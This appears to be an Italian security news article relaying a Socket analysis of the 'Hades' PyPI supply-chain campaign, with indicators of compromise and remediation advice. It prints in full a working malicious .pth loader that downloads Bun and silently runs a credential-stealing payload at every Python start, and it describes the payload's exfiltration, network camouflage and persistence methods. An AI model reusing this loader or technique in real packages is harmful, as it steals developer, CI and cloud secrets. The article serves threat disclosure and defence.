Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.
La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione
Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.
La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.
Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica
L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.
Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:
- Verifica la presenza del sentinel
/tmp/.bun_ranper evitare esecuzioni ripetute - Localizza il payload
_index.jsnella directory del pacchetto - Scarica il runtime Bun v1.3.13 da GitHub se non già presente in
/tmp/b/bun - Esegue
bun run _index.jse scrive il sentinel
# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
base = os.path.dirname(__file__)
payload = os.path.join(base, "_index.js")
if not os.path.exists(payload):
candidates = glob.glob(os.path.join(base, "*", "_index.js"))
payload = candidates[0] if candidates else ""
bun = os.path.join(tempfile.gettempdir(), "b", "bun")
if not os.path.exists(bun):
arch = "aarch64" if platform.machine() == "arm64" else "x64"
os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
urllib.request.urlretrieve(
f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
zip_path)
zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
os.chmod(bun, 0o775)
subprocess.run([bun, "run", payload], check=False)
open(sentinel, "w").close()
Payload deobfuscation: quattro strati di protezione
Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.
Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.
Esfiltrazione via GitHub: camouflage su Anthropic API
Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.
Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.
I pacchetti compromessi
I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.
Indicatori di Compromissione (IoC)
## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip | /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json
Due righe per i difensori
Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.
Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave